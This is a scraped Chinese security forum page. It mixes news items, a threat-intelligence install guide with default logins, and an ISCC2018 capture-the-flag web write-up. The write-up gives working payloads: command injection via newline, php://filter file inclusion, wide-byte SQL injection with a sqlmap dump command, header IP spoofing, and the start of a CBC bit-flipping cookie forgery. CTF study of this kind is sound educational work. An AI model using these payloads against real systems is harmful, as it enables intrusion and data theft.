3.5.4 APT组织SandCat对两个0day提权漏洞的利用(CVE-2018-8589、CVE-2018-8611)
10月17日,卡巴斯基实验室发现一例APT组织SandCat针对中东地区用户进行的小范围针对性攻击,该攻击利用了Windows Win32k本地提权漏洞CVE-2018-8589,该漏洞仅影响Windows 7 x86以及WindowsServer 2008操作系统,暂时仅被发现利用于APT活动。
而该漏洞被发现还不到一个月,在10月29日,再次发现一个新的Windows内核提权0day漏洞CVE-2018-8611被同一组织利用。新的漏洞可以绕过了主流web浏览器的沙箱,相较于CVE-2018-8589而言更具威胁性。
Windows下半年被曝出的0day漏洞,几乎都是通过APT组织投放的攻击样本发现,可以看出APT组织较喜爱利用0day漏洞,以达到出其不意,一击必杀的目的,且将攻击影响范围缩到最小,确保攻击活动的隐匿性。 四、 如何做好漏洞防护4.1 个人用户漏洞防护
4.1.1 及时修复安全漏洞开启安全软件实时防护
防范漏洞攻击最直接有效的方法就是使用新版本的系统,并且及时修复系统环境中存在的安全漏洞。
4.1.2 培养良好的计算机使用习惯
个人需提高计算机网络安全意识,不轻易下载不明软件程序,不轻易打开不明邮件夹带的可疑附件,注意识别&不轻易打开可疑的网站,及时备份重要的数据文件。4.2 企业用户漏洞防护
4.2.1 建立有效的漏洞情报监控体系,建设完善的漏洞补丁管理能力
建立起有效的安全情报监控体系,密切关注各大安全媒体如“御见威胁情报中心”的威胁情报预警。
同时需要做好生产力工具的安全管理,积极安装最新补丁,修复漏洞,时刻保证个人/企业使用的设备、软件、硬件的安全性,缩短漏洞平均存续期,可以大大减少被不法分子攻击的可能。使用腾讯御点终端安全管理系统可以全网统一安装系统补丁,提升客户端的安全性。
 

4.2.2 安全演练,培养员工良好的信息安全意识
定期组织企业信息安全演练,以钓鱼邮件、钓鱼网页、社会工程等拟真攻击手段来提高员工安全意识,能使员工对信息安全有更深刻的印象与认识,从终端杜绝安全威胁。五、 回顾2018,展望2019
回顾2018,勒索病毒、挖矿木马大行其道,智能合约、智能硬件、人工智能等新技术带来新趋势的同时更带来新的安全威胁,全球各领域漏洞提交数量持续上涨而0day漏洞正变得愈发常见,全球各行各业的重大信息泄露事件层见迭出,APT组织带有政治意味的攻击也愈发猖狂,国际信息安全态势正处于弓弦逐渐紧绷的时刻,而作为信息安全守护者的我们,更应该时刻思考如何应对新的变化,永远做好迎接全新挑战的准备 5.1 思维进化,道高一丈
2018年12月,国内黑客就用一起典型的、针对软件供应链发起的攻击结合利用漏洞传播木马的安全事件(广东省深圳市某知名软件厂商软件升级通道传播木马),拉开了安全攻防新时代的巨幕。在技术革新不断发生的时代,“进攻方”的手段在不断演化升级,作为“防守方”更要时刻开阔眼界,与时俱进,不死守陈旧的防守观,追求“魔高一尺道高一丈”,才能真正成为信息安全的守护神。5.2 千里之堤毁于蚁穴,人永远是最大的漏洞
 
钓鱼、广告甚至社会工程学等传统、低技术含量的手段能够屡试不爽,成为黑客们最喜爱的传播病毒、木马的手段,恰恰说明了信息安全中最大的漏洞还是在人身上。低技术含量的攻击手段本身,就是个高效的筛选器,可以过滤掉那些对计算机和网络十分了解的精明用户,将安全意识低下的目标人群筛选出来,真正地达到高精准的定点攻击,基于这样的情况,企业、政府等机构更是需要多进行安全事件演习,加强业务人员的信息安全意识,才能在真正意义上“修复漏洞”,保障信息安全。
 5.3  需建设多维、立体的安全能力体系
 
安全漏洞涉及计算机的方方面面,企业信息安全不能再只作简单的网络隔离,更要全方位地加强企业生产力设备中网络、软件、硬件的安全性,做好补丁管理及时更新企业软硬件,并建设一定的漏洞检测、安全应急响应、威胁情报监控、攻击溯源追踪能力,才能拥有一道更坚固的信息安全防火墙。

比特币千币网:警惕以太坊里的垃圾合约,伪造交易进行广告推广

kakaxi 发表了文章 • 0 个评论 • 154 次浏览 • 2018-09-11 11:01 • 来自相关话题

千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33% 查看全部
千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33%

黑客潜入电子邮件账户偷走比特币,女商人失2.8万告雅虎

kakaxi 发表了文章 • 0 个评论 • 184 次浏览 • 2018-09-11 11:00 • 来自相关话题

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。 查看全部

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。

一觉醒来,存款全没,还欠债!

kakaxi 发表了文章 • 0 个评论 • 234 次浏览 • 2018-08-05 11:19 • 来自相关话题

今天收到朋友圈里的消息,被震到了“一觉醒来,存款全没,还欠债。没想现在犯罪分子开始这么玩了,大家注意下。”,也拿出来,大家提高点安全意识吧!
 





 
今天收到朋友圈里的消息,被震到了“一觉醒来,存款全没,还欠债。没想现在犯罪分子开始这么玩了,大家注意下。”,也拿出来,大家提高点安全意识吧!
 

WechatIMG296.jpeg

 

使用Anomali 的Staxx 搭建免费的威胁情报系统

kakaxi 发表了文章 • 1 个评论 • 575 次浏览 • 2018-06-01 18:54 • 来自相关话题

本文主要是​,来讲述STAXX的安装搭建过程,其它介绍大家可以百度or google,这里不在 浪费大家时间了(下面简要介绍,可以简单参考一下)

STAXX是Anomali公司提供的完全免费的威胁情报系统,威胁馈送领域里,STIX(结构化威胁信息表达)和TAXII(可信自动化指标信息交换),是分析师以标准化方式获取情报的两项核心技术。
企业消费STIX和TAXII的主要方式之一,就是通过存款信托及结算机构(DTCC)与金融服务信息共享和分析中心(FS-ISAC)联合开发的免费 Soltra Edge 软件。但该服务如今已被关停。
Anomali的STAXX是对Soltra关停的直接响应,旨在帮助企业能继续方便地从STIX和TAXII受益。

 
下载过程
如果大家要进行正常的下载,需要首先登录https://www.anomali.com/platform/staxx,然后点击download,接下来就是要求大家邮箱等信息注册,然后将下载连接发送到邮箱中,点击邮箱中的下载,才能进行,我这里就直接将我注册完获取的下载链接直接给到大家如下:https://anomali.cdn.rackfoundry.net/files/eng/AnomaliStaxxv3.zip
(大概1.06G需要时间比较长,大家不要使用手机热点哟,土豪请随意)
【我下面的安转过程是在kali里面进行的】

安装
[]第一步:解压缩下载下来之后,观察是一个zip的压缩文件,解压缩之后里面包含了三个文件:STAXX SLA.txt、Anomali_STAXX_Installation_&_Administration_Guide.pdf、Anomali_STAXX_v3.4.0.ova[/] []第二步:打开VMware,导入ova文件[/]


 下面就是下一步,下一步,不再啰嗦了初始化过程[list=1][]登录系统修改密码[/]

最后安装完了之后的界面如下(提示信息里包含了登录帐号和密码, 默认帐号:anomali  密码:anmalistaxx)

初次登录系统,要求更改密码如下图





这里会看到访问staxx的连接为https://x.x.x.x:8080

 
 
 开始配置STAXX
浏览器地址栏输入前面得到的访问地址:https://172.16.155.155:8080/
得到下面的登录界面,界面上有提示web登录的帐号






STAXX LOGINFirst time login?
username: admin
password: changeme

 










恭喜你看到了希望,是不是很easy






进入界面之后我们看到两个主要的菜单:DASHBOARDS 和ACTIVITY ,其中DASHBOARDS 提供了主要的各种直观的图标;ACTIVITY提供了按照特定条件进行筛选查询的功能。





 
DASHBOARDS:仪表板提供了在指定时间段存储在Anomali StAXX上的所有可观测值的摘要信息。仪表板内的几个图形视图显示可观察的类型、严重性、来源(可观察到的)、可信度等。
 
其中我们按照其中SCAN_IP为例打开看一下,具体操作如下:
点开对应的柱状图部分如下图:











此时直接连接到公网的Anomali 的网站上,需要你注册一个账户,特别提醒:注册一定需要翻墙,只能自行解决了。。。,否则无法进行人机验证如下图:
 





 
注册成功之后(特别提醒:注册的时候不能用免费的邮箱,比如不能用qq等邮箱)
然后你再点击上面ip地址链接的时候就会出现下面 anomali,完整详细的分析信息:










 
ok,具体这些信息,能给你带来多大的价值,就要看你是用来做什么了,比如做反垃圾邮件,反病毒,追踪分析,仁者见仁智者见智
 
这里只是简单给大家一个示例,如果想了解详细的产品说明及操作,可以点击主界面上的帮助菜单,如下图:





 
这里有完整的手册





 
至此简单的安装部署及使用情况已经完成,大家可以参考本篇文章快速了解此威胁情报系统,然后根据自己的需要得到自己想要的东东。
  查看全部
本文主要是​,来讲述STAXX的安装搭建过程,其它介绍大家可以百度or google,这里不在 浪费大家时间了(下面简要介绍,可以简单参考一下)


STAXX是Anomali公司提供的完全免费的威胁情报系统,威胁馈送领域里,STIX(结构化威胁信息表达)和TAXII(可信自动化指标信息交换),是分析师以标准化方式获取情报的两项核心技术。
企业消费STIX和TAXII的主要方式之一,就是通过存款信托及结算机构(DTCC)与金融服务信息共享和分析中心(FS-ISAC)联合开发的免费 Soltra Edge 软件。但该服务如今已被关停。
Anomali的STAXX是对Soltra关停的直接响应,旨在帮助企业能继续方便地从STIX和TAXII受益。


 
下载过程
如果大家要进行正常的下载,需要首先登录https://www.anomali.com/platform/staxx,然后点击download,接下来就是要求大家邮箱等信息注册,然后将下载连接发送到邮箱中,点击邮箱中的下载,才能进行,我这里就直接将我注册完获取的下载链接直接给到大家如下:https://anomali.cdn.rackfoundry.net/files/eng/AnomaliStaxxv3.zip
(大概1.06G需要时间比较长,大家不要使用手机热点哟,土豪请随意)
【我下面的安转过程是在kali里面进行的】

安装
    []第一步:解压缩下载下来之后,观察是一个zip的压缩文件,解压缩之后里面包含了三个文件:STAXX SLA.txt、Anomali_STAXX_Installation_&_Administration_Guide.pdf、Anomali_STAXX_v3.4.0.ova[/]
 
    []第二步:打开VMware,导入ova文件[/]

WX20180601-183013@2x.png
 下面就是下一步,下一步,不再啰嗦了

初始化过程[list=1][]登录系统修改密码[/]


最后安装完了之后的界面如下(提示信息里包含了登录帐号和密码, 默认帐号:anomali  密码:anmalistaxx)

初次登录系统,要求更改密码如下图

WX20180601-183454@2x.png

这里会看到访问staxx的连接为https://x.x.x.x:8080


 
 
 开始配置STAXX
浏览器地址栏输入前面得到的访问地址:https://172.16.155.155:8080/
得到下面的登录界面,界面上有提示web登录的帐号

WX20180601-184738@2x.png


STAXX LOGINFirst time login?
username: admin
password: changeme


 
WX20180601-185018@2x.png


WX20180601-185606@2x.png


恭喜你看到了希望,是不是很easy

WX20180601-211140@2x.png


进入界面之后我们看到两个主要的菜单:DASHBOARDS 和ACTIVITY ,其中DASHBOARDS 提供了主要的各种直观的图标;ACTIVITY提供了按照特定条件进行筛选查询的功能。

WX20180601-215307@2x.png

 
DASHBOARDS:仪表板提供了在指定时间段存储在Anomali StAXX上的所有可观测值的摘要信息。仪表板内的几个图形视图显示可观察的类型、严重性、来源(可观察到的)、可信度等。
 
其中我们按照其中SCAN_IP为例打开看一下,具体操作如下:
点开对应的柱状图部分如下图:

WX20180601-220515@2x.png


WX20180601-220639@2x.png


此时直接连接到公网的Anomali 的网站上,需要你注册一个账户,特别提醒:注册一定需要翻墙,只能自行解决了。。。,否则无法进行人机验证如下图:
 

WX20180601-221255@2x.png

 
注册成功之后(特别提醒:注册的时候不能用免费的邮箱,比如不能用qq等邮箱
然后你再点击上面ip地址链接的时候就会出现下面 anomali,完整详细的分析信息:

WX20180601-221623@2x.png


WX20180601-221703@2x.png

 
ok,具体这些信息,能给你带来多大的价值,就要看你是用来做什么了,比如做反垃圾邮件,反病毒,追踪分析,仁者见仁智者见智
 
这里只是简单给大家一个示例,如果想了解详细的产品说明及操作,可以点击主界面上的帮助菜单,如下图:

WX20180601-221911@2x.png

 
这里有完整的手册

WX20180601-221951@2x.png

 
至此简单的安装部署及使用情况已经完成,大家可以参考本篇文章快速了解此威胁情报系统,然后根据自己的需要得到自己想要的东东。
 

ISCC2018 writeup分享web篇

lawliet 发表了文章 • 1 个评论 • 386 次浏览 • 2018-05-28 18:25 • 来自相关话题


之前发的一篇文章,内容没有显示出来,应该是内容过多或者是一些字符的问题,现在重新发表一下,因为可能有字数限制,所以可能会以几个部分分别发布,目的是将自己解出的题分享出来,通过这篇文章希望给大家带来一些新知识

web方向
题目:比较数字大小
HINT:只要比服务器上的数字大就好了





发现题目只有一个输入框,限制只能输入3个字符,看起来像是前端限制,于是firebug查看元素,发现maxlength值为3,将3改为100,随意输入个大数字,flag就出来了









flag:key is 768HKyu678567&*&K题目:本地的诱惑

HINT:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)
该题为web的签到题,打开后发现是这样的





必须从本地访问,于是想到了伪造X-Forwarded-For,后来发现直接访问源代码就能得到flag,果然是签到题啊




flag:ISCC{^&*(UIHKJjkadshf}题目:你能跨过去吗?

HINT:如果你对xss了解的话,那你一定知道key是什么了,加油!






看到xss便首先尝试在输入框里提交XSSPaylaod,结果发现根本找不到输出点,不管提交多少次都是”加油再试一次”,然后发现页面有一串字符非常像base64编码ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0base64解码了一下,发现是XSSpayload,里面有我们要的key





因为key的16进制中有00,代表结束符(截断),所以要将key中的00字符都删掉,才能将key复制下来




key:/%nsfocusXSStest%/key不是flag,将/%nsfocusXSStest%/提交到页面输入框才能弹出来flag




flag{Hell0World}题目:一切都是套路

HINT:好像有个文件忘记删了

自己的字典太垃圾,啥也没扫出来,经过一个表哥强大的字典发现扫出了index.php.txt,内容如下<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>进行一波代码审计发现考察的是php变量覆盖,构造payloadhttp://118.190.152.202:8009/index.php?_200=flag









 
带上POST参数flag=




我来讲解一下详细的过程,首先代码要求必须有POST参数,而且POST参数的参数名必须为flag,这样才可以到变量覆盖的那一步,接着提交GET参数_200=flag,php代码遍历$_GET数组执行的便是$_200=$flag,也就是将变量$flag的值复制给$_200,覆盖原先变量$_200的值,此时变量$_200的值为$flag中的值,接着php遍历$_POST数组,我们提交的POST参数为flag=空(任意值),于是将POST的值复制给$flag值,覆盖原先的$flag值,$_POST["flag"]便会和$flag值相等,都为空(任意值),最后输出变量$_200的值,也就是原先$flag中的flagflag: ISCC{taolu2333333....}题目:你能绕过吗?

HINT:没过滤好啊




http://118.190.152.202:8008/index.php?f=articles&id=1









 一开始以为id参数没过滤好,于是尝试了注入,结果被坑了,原来是f参数没过滤好,存在文件包含,通过文件包含漏洞使用php伪协议读取index.php的源代码payload:http://118.190.152.202:8008/index.php?f=PHP://filter/read=convert.base64-encode/resource=index&id=1 payload中的php要大写,否则会被拦截





得到一串base64,解码得到源码,源码中有flag




flag:ISCC{LFIOOOOOOOOOOOOOO}








题目:web02





要求ip为本机ip,尝试Referer和X-forwarded-For都不行,最后搜索了一番,发现伪造ip还可以用Client-ip 将ip伪造成127.0.0.1即可




flag:ISCC{iscc_059eeb8c0c33eb62}题目:请ping我的ip 看你能Ping通吗?

HINT:我都过滤了,看你怎么绕。





看到这样一句话:请ping我的IP 看你会ping通吗尝试http://118.190.152.202:8018/?ip=118.190.152.202








 
发现可以执行ping命令






猜测后台php代码应该如下,类似于dvwa中的命令执行shell_exec( 'ping ' . waf($_GET[ip]) )尝试在ping命令后执行多条命令,发现&,&&,|都不行,最后测试发现使用%0A可以绕过,读取flag.txt payloadhttp://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20flag.txt





读取index.php payloadhttp://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20index.php可以看到源码里正如我们之前猜测的那样 






当然这到题也有非常规解法,既然要用命令执行去读取flag.txt,不如直接访问网站根目录下的flag.txt就能得到flag




ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}题目:Please give me username and password!





题目说Please give me username or password! 那在url后添加GET参数username与passwordhttp://118.190.152.202:8017/?username=&&password=再查看源代码可以看到html注释里面有个index.php.txt





访问index.php.txt,发现源代码,又是一道代码审计题<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>可以看到只要绕过对username和password的过滤便能得到flag

strcasecmp的绕过可以利用数组,strcasecmp这个函数在比较一个数组和字符串时会因为类型不一致而报错,从而函数返回False,又因为将False与0以双等号(不严格的比较)进行比较发生了一次隐私类型转换,所以结果为真,从而绕过,后面要求数字长度小于4且大于999可以用php中的科学计数法绕过,构造payloadhttp://118.190.152.202:8017/?username=&&password=1e9



flag{ISCC2018_Very_GOOD!}题目:SQL注入的艺术





找到一个可能存在注入的连接http://118.190.152.202:8015/index.php?id=1






猜测id参数可能存在注入,加单引号和双引号页面均返回正常并不会报错,于是猜测引号可能被转义了,尝试宽字节注入 http://118.190.152.202:8015/index.php?id=1%df'发现页面返回不正常





于是尝试进行and逻辑判断确认是否存在注入http://118.190.152.202:8015/index.php?id=1%df' and 1=1%23



http://118.190.152.202:8015/index.php?id=1%df' and 1=2%23




order by 测试出列数为8,union查询确定出注入回显的位置http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8%23




接下来可以union手工注入,也可以用sqlmap跑,sqlmap跑的时候要使用tamper脚本unmagicquotes.py来绕过单引号转义过滤,为了方便直接上sqlmap,获取flag的命令sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dump -C "flag" -T "admins" -D "baji" --tamper="unmagicquotes.py"


flag:Y0u_@@33w_dxxmn_9rf0Od题目:试试看

HINT:随意开火





这道题一开始就觉得是文件包含,但是使用php协议读文件时发现一直出现File not found,一直不知为何,直到谷歌搜出了类似的一道题才找到思路,这里的思路大概一样,只要绕过正则表达式即可,经过模糊测试,发现http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=../flag.php





可以读到flag.php中的flag 




flag{1ntere5ting_PHP_Regu1ar_express1onssssss}http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=show.php可以读取show.php查看它的过滤 




<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false &&preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.[i]resource=([^|][/i])/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>可以看到由于正则过滤不严导致可以去读取flag
题目:Only admin can see flag(这道题很有意思,用到了CBC翻转字节攻击的方法,感觉很不错,能学到新知识)

打开后是一个登陆页面





出于习惯首先查看源代码,结果发现泄露了index.php的源码





查看源代码,可以看出又是一道代码审计题





代码如下<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>来看代码的主要执行过程与用户数据流的流向

首先,如果存在有用户POST传递过来的username与password,那就接收用户输入的username与password,将用户输入的内容转换为字符串类型然后带入waf函数进行过滤检查处理(应该是过滤一些危险字符),之后使用===检查username的值是否为admin,如果相等直接输出You are not real admin!到页面并且结束,否则将username与password存入数组然后带入login函数,通过代码可以看出login函数的主要作用,将传入的存有username与password的数组进行序列化处理后再使用php中的openssl_encrypt函数进行aes-128-cbc加密,加密的初始化向量为随机生成的16字节的字符串,之后将传入的用户名传入服务器中session文件中的username变量中,将初始化向量与加密结果进行base64编码后分别存入cookie中的iv与cipher中,之后cookie就作为该用户的登陆凭证,简单来说,就是如果用户名不等于admin就登陆成功并且将用户名存入服务器的session变量中,之后setcookie,然后进入用户界面,此处使用show_homepage函数判断,这个函数会判断session中的username是否为admin,如果为admin,那就登陆成功并输出flag,否则就以普通用户登录

如果发现服务器session文件中的username变量已被设置,说明之前有用户登录了,就不使用login函数进行进行登陆检查,而是使用check_login函数进行用户身份检查,通过代码可以看出check_login函数的主要作用,检查cookie中是否设置有cipher和iv,如果有,就对cookie中的cipher与iv进行base64解码,然后使用php中的openssl_decrypt函数进行aes-128-cbc解密,将解密的结果进行反序列化处理为数组,之后将数组中的username赋值给session中的username,之后进入用户登录界面,再次调用show_homepage

来分析一下整个逻辑过程

简单来说,要求输入的用户名不能为admin才能登陆成功,但是进行用户身份检查时需要$_SESSION中的username必须等于admin才能登陆成功,于是想到了可以首先以一个用户名不是admin的用户登录,设置$_SESSION['username'],之后刷新登陆页面,将会带上生成的cookie进入check_login函数,我们可以修改cookie中的cipher与iv,使其经过aes-128-cbc解密反序列化后将$info['username']的值变为admin即可覆盖第一次登陆后设置的$_SESSION['name'],将其变为admin,此时经过show_homepage后就会是admin并且输出flag

在这里加密解密的密钥是未知的,iv初始化向量是随机生成的,导致我们不能直接利用加密算法生成cookie,于是想到了一种名为CBC翻转字节攻击的方法,该攻击可以在不知道密钥的前提下,通过修改密文中某一处的字节达到修改部分明文的目的,具体过程如下,首先来看AES的CBC模式的加密解密过程,分组长度为16字节加密
加密






解密





所谓的CBC翻转字节攻击就是通过修改某一分组的密文,去修改其下一分组的明文





比如明文分组如下,以题目举例a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:6:"123456";}要将Admin修改为admin,只需修改加密后第一个分组中的第10个字节,也就是对应A所在位置的"的密文就可以首先要以Admin登陆,获取Set-Cookie中的cipher与iv,cipher里面存放着将上面那串字符串加密的密文,iv为随机生成的16位字符串,作为加密解密的初始化向量









iv:pO%2FPPYF9sNQq9oGENmDdFA%3D%3D
cipher:bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D首先修改密文的第一个分组的第十个字节import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"Admin";
#s:8:"password";s
#:6:"123456";}
cipher="bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D"
